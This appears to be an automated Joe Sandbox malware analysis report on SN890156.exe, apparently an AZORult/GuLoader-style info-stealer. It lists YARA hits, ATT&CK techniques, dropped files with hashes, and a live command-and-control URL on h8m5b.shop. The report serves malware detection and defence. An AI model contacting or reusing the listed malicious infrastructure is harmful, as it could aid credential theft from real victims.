Source: Yara match	File source: 5.2.wab.exe.2482b0d2.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.wab.exe.247bf981.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.wab.exe.2479d994.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 6208, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Software Packing	2 Credentials in Registry	126 System Information Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	111 Process Injection	1 Timestomp	1 Credentials In Files	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SN890156.exe	18%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DB6E832C\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe	18%	ReversingLabs

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://h8m5b.shop/HH341/index.phpW&	0%	Avira URL Cloud	safe
http://h8m5b.shop/	0%	Avira URL Cloud	safe
http://h8m5b.shop/HH341/index.php	0%	Avira URL Cloud	safe
http://h8m5b.shop/HH341/index.phpj	0%	Avira URL Cloud	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://ocsp.thawte.com0	0%	Avira URL Cloud	safe
https://aka.ms/pscore6lBcq	0%	Avira URL Cloud	safe
http://www.mozilla.com0	0%	Avira URL Cloud	safe
http://h8m5b.shop/HH341/index.phpns	0%	Avira URL Cloud	safe
http://h8m5b.shop/HH341/index.php3)	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://h8m5b.shop/HH341/index.phpo)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
portal.expertmotorservices.mv	27.114.150.50	true	false		unknown
h8m5b.shop	104.21.14.133	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://h8m5b.shop/HH341/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://h8m5b.shop/HH341/index.phpW&	wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://h8m5b.shop/	wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2492719646.0000000005537000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2492719646.0000000005537000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://h8m5b.shop/HH341/index.phpj	wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBcq	powershell.exe, 00000002.00000002.2492719646.00000000053E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com0	wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2494770325.000000000644B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	SN890156.exe, 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmp, SN890156.exe, 00000000.00000000.2041291021.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://h8m5b.shop/HH341/index.phpns	wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://h8m5b.shop/HH341/index.php3)	wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2492719646.00000000053E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2492719646.0000000005537000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://h8m5b.shop/HH341/index.phpo)	wab.exe, 00000005.00000003.2624274124.0000000007D89000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000005.00000002.2666360366.0000000007D7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.14.133	h8m5b.shop	United States		13335	CLOUDFLARENETUS	true
27.114.150.50	portal.expertmotorservices.mv	Maldives		7642	DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509524
Start date and time:	2024-09-11 18:22:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SN890156.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@11/59@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 93% Number of executed functions: 87 Number of non-executed functions: 43
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6484 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SN890156.exe

Simulations

Behavior and APIs

Time	Type	Description
12:23:00	API Interceptor	41x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.hempbio.pl/jndvnjdjnvdvnjdnvjdnvjdnj.html	Get hash	malicious	Unknown	Browse	104.18.40.68
	https://storage.googleapis.com/tf3no4swz21zlasg/75752b9.html#FDm8vwZK.aspx?fRl9xNccwwPcczDyScdcNRddcH77xncsXcbbb4X	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://edgecombe0-my.sharepoint.com/:f:/g/personal/culbertsona_edgecombe_edu/EvGBKLX7bMFBnDTuoIGqwggBXiXCblWwNG8YRTgaf1y1lQ?e=va7LD8	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://grssuplmentos.com	Get hash	malicious	Unknown	Browse	104.19.229.21
	Remittance AdviceNote c6b2e2a43485b7b75999a5332e86646f	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.26.0.100
	original.eml	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	Play_VM-NowCLQD.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://uber-dot-yamm-track.appspot.com/23n9C3332xIef2u5qB3FsmMdRmfEUl0juRObEDek2QVW5jqPgkQEUDSjSUOie_PPRN8ZIzLjnKIYf_EcAN6wtHAg6tDGTRfHt9lfAtxT0weLuCVbKoSw6asqJ_UhM7uDzWEWI_6d_QbLGjPw8-X4Ds4m4YHqne99SLBLa7IzDhqNM5JIp-h783DTvcZTRawQQ0zSL	Get hash	malicious	Unknown	Browse	1.1.1.1
	Play____Now(Stewart.b)a2f1c0d5349d3a3f5a8836dc306214787325a135.htm	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://www.google.com/url?q=https://www.google.com/url?q%3D6svi1oMcTV0NeHiFXfMT%26rct%3DymEXS3GcN1kzd29f90Jh%26sa%3Dt%26esrc%3DMKuZSwa3VscPTAKnZxUY%26source%3D%26cd%3DmuCyjHwItCeuxIlcZYQK%26cad%3DwIPICxxR6hM2MjAzQktg%26ved%3DfkNU1q9O08RLJIKTIJOT%26uact%3D%2520%26url%3Damp%252Fjaldirummy%252Ecom%252F.rice%252F&source=gmail&ust=1726134371821000&usg=AOvVaw3eh4rUjLydKAIWROEb78Zn#9K9BYE-SUREBOOTbWljaGFlbHNjb2ZpZWxkQGRpc25leS5jb20=	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	ExeFile (233).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (317).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (196).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	ExeFile (106).exe	Get hash	malicious	Emotet	Browse	123.176.25.234
	5F421aeqCW.elf	Get hash	malicious	Mirai	Browse	202.1.207.13
	M6Ji9RLNFf.elf	Get hash	malicious	Mirai	Browse	202.1.207.25

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse	27.114.150.50
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	27.114.150.50
	rfq_last_quater_product_purchase_order_import_list_11_06_2024_000000110924.cmd	Get hash	malicious	GuLoader, Remcos	Browse	27.114.150.50
	SecuriteInfo.com.Win32.DropperX-gen.32301.17258.exe	Get hash	malicious	Unknown	Browse	27.114.150.50
	SecuriteInfo.com.Win32.DropperX-gen.32301.17258.exe	Get hash	malicious	Unknown	Browse	27.114.150.50
	ORDER DATASHEET.bat	Get hash	malicious	Remcos, GuLoader	Browse	27.114.150.50
	file.exe	Get hash	malicious	Vidar	Browse	27.114.150.50
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	27.114.150.50
	VirusShare_0b77feef8ea361e3bc287e61fd2555a3.zip	Get hash	malicious	Unknown	Browse	27.114.150.50
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	27.114.150.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-console-l1-1-0.dll	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse
	z1Io2AQrOZ.exe	Get hash	malicious	Azorult	Browse
	Modifications_List.one	Get hash	malicious	AZORult	Browse
	cJX8BV8LYG.exe	Get hash	malicious	Azorult	Browse
	4QihT6CwD8.exe	Get hash	malicious	Azorult	Browse
	Fordybendes.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Po#70831.exe	Get hash	malicious	Azorult	Browse
	FedEx Shipping Document.scr.exe	Get hash	malicious	Azorult	Browse
C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-datetime-l1-1-0.dll	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Opgaveforlb.exe	Get hash	malicious	Azorult, GuLoader	Browse
	z1Io2AQrOZ.exe	Get hash	malicious	Azorult	Browse
	Modifications_List.one	Get hash	malicious	AZORult	Browse
	cJX8BV8LYG.exe	Get hash	malicious	Azorult	Browse
	4QihT6CwD8.exe	Get hash	malicious	Azorult	Browse
	Fordybendes.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Po#70831.exe	Get hash	malicious	Azorult	Browse
	FedEx Shipping Document.scr.exe	Get hash	malicious	Azorult	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\70568901139478990174961.tmp

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Unincriminated.exe, Detection: malicious, Browse Filename: PO#940894.exe, Detection: malicious, Browse Filename: Opgaveforlb.exe, Detection: malicious, Browse Filename: z1Io2AQrOZ.exe, Detection: malicious, Browse Filename: Modifications_List.one, Detection: malicious, Browse Filename: cJX8BV8LYG.exe, Detection: malicious, Browse Filename: 4QihT6CwD8.exe, Detection: malicious, Browse Filename: Fordybendes.exe, Detection: malicious, Browse Filename: Po#70831.exe, Detection: malicious, Browse Filename: FedEx Shipping Document.scr.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Unincriminated.exe, Detection: malicious, Browse Filename: PO#940894.exe, Detection: malicious, Browse Filename: Opgaveforlb.exe, Detection: malicious, Browse Filename: z1Io2AQrOZ.exe, Detection: malicious, Browse Filename: Modifications_List.one, Detection: malicious, Browse Filename: cJX8BV8LYG.exe, Detection: malicious, Browse Filename: 4QihT6CwD8.exe, Detection: malicious, Browse Filename: Fordybendes.exe, Detection: malicious, Browse Filename: Po#70831.exe, Detection: malicious, Browse Filename: FedEx Shipping Document.scr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` 